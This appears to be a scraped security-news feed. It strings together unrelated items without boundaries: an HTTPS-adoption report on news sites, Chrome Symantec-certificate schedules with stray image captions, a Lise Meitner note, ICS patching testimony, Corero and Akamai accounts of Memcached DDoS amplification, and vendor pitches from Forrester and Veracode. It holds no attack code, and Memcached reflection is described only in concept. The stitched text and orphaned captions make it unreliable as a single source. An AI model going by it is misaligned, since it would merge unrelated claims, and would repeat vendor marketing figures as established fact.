For over a year now, Secure The News has automatically monitored the HTTPS encryption practices at more than 100 major news sites around the world. Secure The News is a Freedom of the Press Foundation project built to regularly update a scorecard of some 131 news sites. We encourage sites to climb up those rankings because well-configured HTTPS encryption can protect reader privacy, enhance site security, and make important reporting harder to censor or manipulate.
We're pleased to report that since we began monitoring in late 2016, HTTPS encryption has seen a pronounced increase in the quality and reach of its deployment among news sites, and we continue to improve the tools we use to monitor that rise.
Let's start with the stats. We can see the overall rise in HTTPS deployment and quality by monitoring the "grades" we give sites based on their use of HTTPS. Each dot on this graph represents a the grade from a sampled scan, while the line shows the average grade over time. That grade, out of 100, has risen from about 31 points at the end of 2016 to over 53 points now. A major improvement, to be sure, but with plenty of room to get better.
In several key categories, we've compared our very first evaluation of the 131 news sites we monitor with the most recent.
HTTPS encryption is available on two-thirds of sites we're monitoring—89 of 131. That's up from just over one-third, or 48 sites, when we first ran tests starting in late November 2016.
Nearly 60% now offer HTTPS encryption by default. That's up from just 22% on our first scans—a massive leap in under 18 months.
Another exciting development for the nerds: the use of HSTS (HTTP strict transport security), which aims to keep browsers from ever using an insecure connection, is way up: From just 9% of sites in our first scans to up over 25% now.
In our first year of running Secure The News, we've made a few key improvements to the site as well.
In early 2017 we created a Twitter bot that would post changes to the scorecard each weekday. Now whenever a site turns on HTTPS—or improves their HTTPS security, which readers might not otherwise spot—we post a tweet detailing the change.
We also released the code powering Secure The News as a free software project in February 2017. It is licensed under the GNU AGPL software license, which means improvements made by other people using the software can be folded back into our code.
Finally, we added an API for accessing current and historical scan data. That API was used to collect the statistics in this post and currently powers the Twitter bot. We’ll provide more information about the API, and about other new developments to Secure the News, in the near future.
Strong, well-configured HTTPS encryption is a must-have for news sites operating on the modern Web, and it’s heartening that the first year of Secure The News has recorded so many improvements on that front. Press freedom must include the ability to read free from surveillance, censorship, or manipulation, and we’ll continue to push news sites to take the important technical steps necessary to achieve that goal.
This Year’s Crop of Tax Phishing Scams Target Individuals, Employers, and Tax Preparers Tax season is stressful enough without having to worry about becoming the victim of a cyber crime. Here are three different tax phishing scams targeting employers, individuals, and even tax preparers that are currently making the rounds. Employers: W-2 Phishing Emails The… Read More
The post Tax Phishing Scams Are Back: Here Are 3 to Watch Out For appeared first on .
 |
| An example of a certificate error that Chrome 66 users might see if you are using a Legacy Symantec SSL/TLS certificate that was issued before June 1, 2016. |
 | |
|
 |
| The DevTools message you will see if you need to replace your certificate before Chrome 70. |
Release | First Canary | First Beta | Stable Release |
Chrome 66 | January 20, 2018 | ~ March 15, 2018 | ~ April 17, 2018 |
Chrome 70 | ~ July 20, 2018 | ~ September 13, 2018 | ~ October 16, 2018 |
Scientific American has a nice write-up of the theoretical physicist who discovered nuclear fission and was denied credit, yet assigned blame:
While the celebrity Meitner deserved was blatantly denied her, an undeserved association with the atomic bomb was bestowed. Meitner was outright opposed to nuclear weapons: “I will have nothing to do with a bomb!” Indeed, she was the only prominent Allied physicist to refuse an invitation to work on its construction at Los Alamos.
Amazing to see how determined she was and how she blazed a trail for others to do good. And yet the things she did, men wouldn’t give her credit for, while the thing she opposed was blamed on her instead.
Patching security vulnerabilities in industrial control systems (ICS) is useless in most cases and actively harmful in others, ICS security expert and former NSA analyst Robert M. Lee of Dragos told the US Senate in written testimony last Thursday. The "patch, patch, patch" mantra has become a blind tenet of faith in the IT security realm, but has little application to industrial control systems, where legacy equipment is often insecure by design.
(Insider Story)It is less than 2 weeks since the “Memcached” reflection/amplification vulnerability became widely known. Since then DDoS attackers started exploiting unprotected Memcached servers to launch massive denial-of-service attacks against target organizations.
The record for the largest DDoS attack ever reported has been broken twice in the last week. The bar was raised from ~800Gbps (DYN in October 2016) to 1.34Tbps (GitHub) and upwards to 1.7Tbps (undisclosed US Service Provider). These attacks have understandably been the focus of mainstream news headlines. At Corero, we’ve also seen a surge in in these larger DDoS attacks; all of them have been amplified by the Memcached vector.
Last week, our Corero SecureWatch® Analytics Team released a Threat Advisory after seeing a steady ramp in reflective Memcached DDoS attacks (Reflective UDP on port 11211). This exploit uses a reflective method in which the attacker makes a spoofed request (where the source IP address is that of the intended victim) to a Memcached server, which then replies to the victim with a large response. Amplification factors of 50,000 times are believed to be possible using this exploit.
Corero’s advisory coincided with delivering “zero day” protection to SmartWall® customers which detects and mitigates these attacks in less than 2 seconds. In contrast, the GitHub attack reportedly took around 10 minutes to mitigate. Undoubtedly, this meant that GitHub’s service was disrupted risking reputational damage.
Corero has gone a significant step further. Today, we announced that we’ve identified an “active defense” countermeasure which neutralizes the problem. In more emotive terms, we have found and implemented the “kill switch” for Memcached. Whilst this countermeasure causes no discernable impact to the unwitting participant in the DDoS attack (i.e. the unsecured Memcached server) Corero decided to share this discovery with national security agencies to allow them to determine if and when to more widely execute this countermeasure. Corero’s SmartWall® threat defense customers can immediately benefit from this discovery too; at their option, automatically sending the necessary command to any attacking server to immediately suppress all attacks.
Perhaps even more shockingly, Corero also disclosed that the same Memcached vulnerability can also be used for data exfiltration (i.e. theft to most of us) and even data modification. The difference in this case is that the victim is the organization that has the unsecured Memcached server. Thankfully, the same Corero discovery can temporarily take care of the problem.
The lasting solution to both the DDoS amplification and data exfiltration/modification threats are to secure the Memcached servers. However, with over 95,000 of these servers currently exposed on the Internet, Corero expects that we’ll be seeing these amplification attacks for many months to come.
To find out more, contact us.
The complexities of developing secure software aren't lost on anyone in the business world. One tool development teams have used to adapt to today's challenging environment is software containers, which allow applications to run reliably on different platforms and systems.
Today, organizations use containers to address a wide range of development and testing tasks. What's more, as DevOps and other Agile initiatives have taken root, containers have become a crucial element in building a fast and flexible digital framework.
But software containers may lack the security required for today's complex development environments. We believe that an April 2017 Forrester report, Ten Basic Steps To Secure Software Containers, highlights that security must be at the center of any initiative involving containers, including the popular Docker platform.
While containers promote standardization, they also introduce significant risks. For example, in the report cited above, Forrester noted that in 2017, a newly identified Linux kernel vulnerability dubbed "dirty cow" had gone undiscovered for nine years. Suddenly, security leaders found themselves scrambling to patch systems and limit their risk exposure to this vulnerability.
In our view, the Forrester report suggests that a proactive approach to security offers clear benefits. It speeds processes by eliminating configuration differences and allows developers to work more efficiently across systems while maintaining essential controls. By using security controls that are unique to containers, security pros can better adapt application security to different architectures.
The report from Forrester offers 10 ways to harden containers and protect an enterprise. Here is our take on these ten steps, along with our thoughts on what each of them imply:
Containers are a powerful tool within production environments. While they offer enormous benefits, they also introduce risks. However, with a strategic approach it's possible to take software development to a new and more secure level.
Learn how your organization can secure software containers and turn them into a strategic advantage by reviewing the Forrester report, Ten Basic Steps To Secure Software Containers.
The discussion surrounding which is superior – binary or source code scanning – has plagued the static analysis market since its inception. A source code scanner analyzes un-compiled code, whereas a binary scanner analyzes compiled code, but in the end, the result is the same. They are simply two engineering solutions for the same problem. However, as a fundamental part of vendors’ approaches to SAST, it’s an area organizations are compelled to consider in their selection process.
During this decade-long debate, there have been myths perpetuated for both methods, making the tradeoffs more difficult to dissect. Ultimately, when considered in a vacuum, the analysis misses the core components needed to stand up a comprehensive AppSec program, such as scalability, efficiency, and the people, process and program needed to support a successful AppSec team. In this blog, I aim to clarify some of the myths surrounding binary analysis, clarify why CA Veracode opted for this method, and give you the facts you need during your organization’s evaluation process.
The most obvious difference between a source code vs. binary scanner is that the binary scanner requires code to be compiled before scanning, which changes the structure of the code by removing dead code and adds a step in your testing process compared to source code scanning. At face value, this might seem less secure as you’re not testing all the code, and less efficient as any extra step takes extra time. However, compiling code is a required step, whether it happens before security testing or afterwards, because in order to execute in production, an application must be compiled. So the fundamental question becomes the visibility of vulnerabilities that scanning source code provides vs. scanning binaries, and the speed at which a vendor can help you identify and remediate these vulnerabilities.
At CA Veracode, we settled on binary scanning as a side product of a much more important feature of our offering: the SaaS-based approach. Our patented binary scanning approach enables us to securely provide static analysis testing in our platform without disclosing your intellectual property. Our SaaS-based approach means you can start scanning on day one without any hardware to install or manage, and can scale rapidly with no queuing. Compared to on-premise source code scanners that are notoriously plagued with a high number of false positives until they are tuned for the application they are scanning, we have been able to learn from our 6 trillion lines of code scanned to deliver a 5 percent false-positive rate out of the box, meaning developers can focus on fixing real flaws fast. This low false-positive rate has little to do with binary vs. source code scanning, but more with the fact that as a SaaS vendor, we can learn with every scan.
One of the largest misconceptions is that scanning fragments of code is proprietary to source code scanners because they do not compile code and, therefore, can scan earlier in the development process. The impact of scanning sooner means you can find vulnerabilities sooner and reduce the time to fix errors later in production. However, integrating further left into the SDLC and scanning sooner is not dependent on whether you are scanning source code or binaries, but rather the technology and integrations your static analysis vendor provides to enable your developers to uncover and fix errors.
To help organizations scan sooner and automate processes, we provide more than 24 integrations out-of-the-box to tools across the SDLC, meaning developers can seamlessly launch scans in the CA Veracode platform or via their IDE or CI/CD pipeline. These tight integrations across the SDLC have resulted in as much as 90 percent or greater reduction in remediation costs for our customers.
CA Veracode has been managing AppSec programs for over a decade for more than 1,700 customers. In this time, we’ve listened to our customers and learned what works and what doesn’t. As a result, we have made design choices to optimize our solution to provide actionable insights on flaws found, such as:
Our focus on not just finding errors fast, but also ensuring organizations can fix vulnerabilities fast, has helped our customers reduce the total time to remediate vulnerabilities, and makes bringing secure software to market fast a competitive advantage.
At CA Veracode, we choose to scan binaries because we believe this empowers our customers to capitalize securely on the power of our SaaS platform and on-demand services. The CA Veracode Platform has scanned tens of thousands of enterprise, mobile and cloud-based apps, and our unique approach to remediation has helped customers fix more than 35 million flaws. Our SaaS-based approach means immediate value, faster improvements, increased accuracy and the ability to create more software, more securely than ever before.
Find out more about the CA Veracode Application Security Platform in this eBook.
 |
| Click on the detailed behavior report. |
 |
| Screenshots and File operations |
 |
| DNS, IP Traffic and Behavior tags |
This week, Michael & Paul interview Shawn Tuma, Cybersec and Data Privacy Attorney at Scheef & Stone, LLP! In the Article Discussion, Michael and Paul talk how to build trust with colleagues, simple concepts to free up innovation, and how to avoid death by committee! In the news, we have updates from PhishMe, Splunk, CyberX, and more on this episode of Business Security Weekly!
Full Show Notes: https://wiki.securityweekly.com/BSWEpisode76
Visit https://www.securityweekly.com/bsw for all the latest episodes!
We gave a talk on detecting malicious builds with Build Inspector, Do you trust your builds, or build what you trust?, at Null Singapore a week ago. In this blog post, we provide a summary of the talk which involves describing the dangers of trusting Open-Source and the steps you can take to detect these threats.
Continue reading
Last week, researchers observed a 1.35 Tbps distributed denial-of-service attack (DDOS) attack targeting GitHub. It was the largest DDoS attack ever recorded, surpassing the 1.2 Tbps attack against DNS provider Dyn in October 2016.
The attack leveraged a newly observed reflection and amplification vector known as memcached. Akamai researchers warned that other organizations experienced similar DDoS attacks using the new method following the GitHub attack and that even larger attacks may be possible
